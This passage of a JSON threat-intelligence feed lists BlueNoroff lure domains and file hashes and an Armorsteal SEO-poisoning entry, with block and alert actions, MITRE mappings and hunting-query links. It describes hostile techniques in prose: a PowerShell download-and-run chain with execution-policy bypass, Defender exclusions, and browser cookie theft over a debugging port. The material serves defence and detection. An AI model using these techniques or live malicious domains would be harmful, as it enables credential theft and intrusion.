"sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "cloud-docs.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "cobolabs.cloud", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docsend.space", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "notionshare.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "agenda.pw", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "idcheck.watch", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ipcheck.watch", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "sealteam911.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "theworldofluck.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docdock.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docsend.blog", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docsend.site", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docsend.store", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docview.ink", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docview.pw", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "docview.vip", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "mailview.online", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "sealteam911.com", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "shiabank.com", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "theworldofluck.site", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Domain Arctic Wolf links to the BlueNoroff lure cluster at medium confidence.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ca14040cc48fbc3b00ea5f74e891266128f7bb3058be400782c5b08436f7668a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the NovaStream Player HTML lure (React single-page app) seen at vip.novaplayer.online.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "57201b105d64ecf9050fa1fb9107a6be36761b221ae32d7eb23859ce74b68718", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the NovaStream Player expired-link HTML from the same lure URL.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "1a9663641958e9e7c31cc621b85f22c77c20d1ace2cb0477c4d35e6c9675bb8e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a ZIP holding the LNK execution chain that pulls update.ps1 from docview.ink.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "540da969ed2a0d828e208c99f3afb4b0763a7076144e1b9edd6ca9c7db0dbeae", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a second ZIP with the docview.ink LNK execution chain.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" }, { "url": "https://bazaar.abuse.ch/sample/540da969ed2a0d828e208c99f3afb4b0763a7076144e1b9edd6ca9c7db0dbeae/", "name": "MalwareBazaar" } ] }, { "value": "document.wflow", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "macOS Automator workflow inside a fake Capital Investment Agreement ZIP that runs a JXA downloader.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "NovaStreamHelper.scpt", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "AppleScript payload name used by the NovaStream media-player lure.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "Calendly Verification.scpt", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "AppleScript payload name used by the fake Calendly verification lure.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "%TEMP%\\update.ps1", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "Script the docview.ink LNK chain downloads with iwr -UseBasicParsing, runs with powershell -ep bypass -f, then deletes.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt.kql", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt.spl", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt_raw.spl", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt.yaral", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt.yaral" } ] }, { "id": "Armorsteal-SEO-Poisoning-Python-Stealer", "folder": "threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer", "name": "Armorsteal: SEO-Poisoned Chocolatey and Massgrave Lures Deliver a Python Stealer, Backdoor and Miner", "short": "Armorsteal Python stealer", "category": "Crimeware / information stealer", "published": "2026-11-06", "entry_date": "2026-11-13 00:20", "last_updated": "2026-11-13", "seq": 40, "headline": "Fake Chocolatey and Massgrave install commands drop a Python backdoor, stealer and hidden miner", "summary": "Zscaler ThreatLabz reported in October that poisoned search results sent people looking for Chocolatey or Microsoft Activation Scripts install commands to lookalike sites choclatey.org and massgravel.net. The PowerShell command each site showed installed the real tool and quietly dropped Armorsteal, a PyArmor-protected Python kit with its own Python 3.11 runtime, into C:\\Windows\\SystemHealth\\Update\\, persisting with the scheduled tasks SysCheck2 and SysCheckX. On 6 November Seqrite Labs analysed a newer build, compiled on 28 October, with an 11-domain C2 failover list, a new SysHeal task, and an XMRig miner manager that adds C:\\Windows and xmrig.exe as Microsoft Defender exclusions and pauses the miner whenever Task Manager or similar tools open. The backdoor only runs Python tasks signed with the operator's RSA key; the spy module logs keys, swaps copied wallet addresses and takes keyword-triggered screenshots; the stealer takes Discord tokens, browser passwords and cookies (through Chrome remote debugging on port 9222), wallet data, seed phrases, password-manager vaults and SSH keys. The Hacker News highlighted the campaign again on 12 November. The lure and C2 domains, the Spamhaus-listed lure host and the published hashes are on the block list.", "caveat": "The C2 addresses sit in IQWeb / DDoS-Guard protected ranges that front many unrelated sites, so they are alert only; block the domains instead. 82.153.135.80 hosted the lures until about 1 October and may have been reassigned, so it is alert only. pur.st has a long certificate history and is alert only. PyArmor rebuilds change file hashes, so rely on the task, folder and exclusion hunts.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "IT administrators and developers", "Cryptocurrency holders", "Consumers" ], "note": "Victims are users who searched for Chocolatey or Microsoft Activation Scripts commands. Zscaler and Seqrite do not name victim organisations or countries.", "source": { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "name": "Seqrite Labs" } }, "mitre": [ { "id": "T1608.006", "name": "SEO Poisoning", "url": "https://attack.mitre.org/techniques/T1608/006/" }, { "id": "T1204.004", "name": "Malicious Copy and Paste", "url": "https://attack.mitre.org/techniques/T1204/004/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.006", "name": "Python", "url": "https://attack.mitre.org/techniques/T1059/006/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1036.004", "name": "Masquerade Task or Service", "url": "https://attack.mitre.org/techniques/T1036/004/" }, { "id": "T1562.001", "name": "Disable or Modify Tools", "url": "https://attack.mitre.org/techniques/T1562/001/" }, { "id": "T1497.001", "name": "System Checks", "url": "https://attack.mitre.org/techniques/T1497/001/" }, { "id": "T1555.003", "name": "Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1539", "name": "Steal Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1539/" }, { "id": "T1056.001", "name": "Keylogging", "url": "https://attack.mitre.org/techniques/T1056/001/" }, { "id": "T1115", "name": "Clipboard Data", "url": "https://attack.mitre.org/techniques/T1115/" }, { "id": "T1496.001", "name": "Compute Hijacking", "url": "https://attack.mitre.org/techniques/T1496/001/" } ], "recommended_actions": [ "Block choclatey.org, massgravel.net and the C2 domains (workerstats.net, pymons.is, datamons.org, niceer.net, supertrap.net and the newer failover domains), 209.99.186.187 and the published hashes, and search 90 days of DNS, proxy and EDR logs for them.", "Hunt for the scheduled tasks SysCheck2, SysCheckX and SysHeal, any file under C:\\Windows\\SystemHealth\\Update\\, and conhost.exe --headless starting python.exe.", "Check Microsoft Defender for exclusions of C:\\Windows or xmrig.exe and remove them, and alert on browsers launched by Python with --remote-debugging-port=9222.", "On a confirmed host, rebuild it, rotate browser-stored passwords, Discord sessions, SSH keys and password-manager master passwords, and move wallet funds to new seed phrases from a clean device.", "Remind IT staff to copy install commands only from the official chocolatey.org and massgrave.dev sites." ], "sources": [ { "url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "label": "Seqrite Labs – Armorsteal Unpacked: Breaking Down a Python Malware Kit That Steals Data and Mines Crypto", "name": "Seqrite Labs" }, { "url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "label": "Zscaler ThreatLabz – SEO Poisoning Campaign Delivers New Armorsteal Malware", "name": "Zscaler ThreatLabz" }, { "url": "https://thehackernews.com/2026/11/threatsday-59-linux-kernel-bugs-falcon.html", "label": "The Hacker News – ThreatsDay: 59 Linux Kernel Bugs, Falcon Spyware, GSocket Backdoors + 17 More Stories", "name": "The Hacker News" }, { "url": "https://www.spamhaus.org/drop/", "label": "Spamhaus – DROP list", "name": "Spamhaus" }, { "url": "https://urlhaus.abuse.ch/host/massgravel.net/", "label": "urlhaus.abuse.ch", "name": "URLhaus" }, { "url": "https://urlhaus.abuse.ch/host/workerstats.net/", "label": "urlhaus.abuse.ch", "name": "URLhaus (2)" } ], "indicator_count": 37, "block_now_count": 26, "hunt_count": 11, "hunt_counts": { "alert": 11 }, "indicator_counts": { "domain": 13, "sha256": 13, "ipv4": 7, "other": 3, "filename": 1 }, "ioas": [ { "artefact": "Scheduled tasks named SysCheck2, SysCheckX or SysHeal, or files written under C:\\Windows\\SystemHealth\\Update\\", "log_source": "EDR process, file and scheduled-task events (DeviceProcessEvents, DeviceFileEvents, DeviceEvents), Windows 4698", "why": "Both the Zscaler and Seqrite builds install a portable Python 3.11 runtime into this fake system folder and persist with these task names. Neither the folder nor the tasks exist on a clean Windows install.", "action": "alert", "has_query": true, "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_name": "Zscaler ThreatLabz", "title": "SysCheck tasks or files in the fake SystemHealth folder", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "conhost.exe --headless starting python.exe or pythonw.exe from C:\\Windows\\SystemHealth\\Update", "log_source": "EDR process events, Windows 4688 with command line", "why": "SysCheck2 launches SysMon.py through a headless console so no window appears; Zscaler lists this as a detection opportunity.", "action": "alert", "has_query": true, "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_name": "Zscaler ThreatLabz", "title": "Headless console starting Python from SystemHealth", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A Microsoft Defender exclusion for the whole C:\\Windows folder or for xmrig.exe", "log_source": "EDR process and registry events (DeviceProcessEvents, DeviceRegistryEvents), Defender 5007", "why": "Seqrite found xm_handler.py re-adding C:\\Windows as an excluded path and xmrig.exe as an excluded process every minute, which hides the whole kit and survives cleanup.", "action": "alert", "has_query": true, "source_url": "https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/ https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware", "source_name": "Seqrite Labs", "title": "Defender exclusion for C:\\Windows or xmrig.exe", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Chrome, Edge or Brave started with --remote-debugging-port=9222 by python.exe or pythonw.exe", "log_source": "EDR process events", "why": "The got.py stealer pulls cookies through the Chrome DevTools Protocol on port 9222; a browser launched with that flag by Python is a strong lead.", "action": "alert", "has_query": true, "source_url": "https://www.zscaler.com/blogs/security-research/seo-poisoning-campaign-delivers-new-armorsteal-malware https://www.seqrite.com/blog/armorsteal-unpacked-breaking-down-a-python-malware-kit-that-steals-data-and-mines-crypto/", "source_name": "Zscaler ThreatLabz", "title": "Python launching a browser with remote debugging on 9222", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/block_now.txt", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/defender_xdr_indicators.csv", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt.kql", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Armorsteal-SEO-Poisoning-Python-Stealer/hunt.spl", "download": "Armorsteal-SEO-Poisoning-Python-Stealer_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": 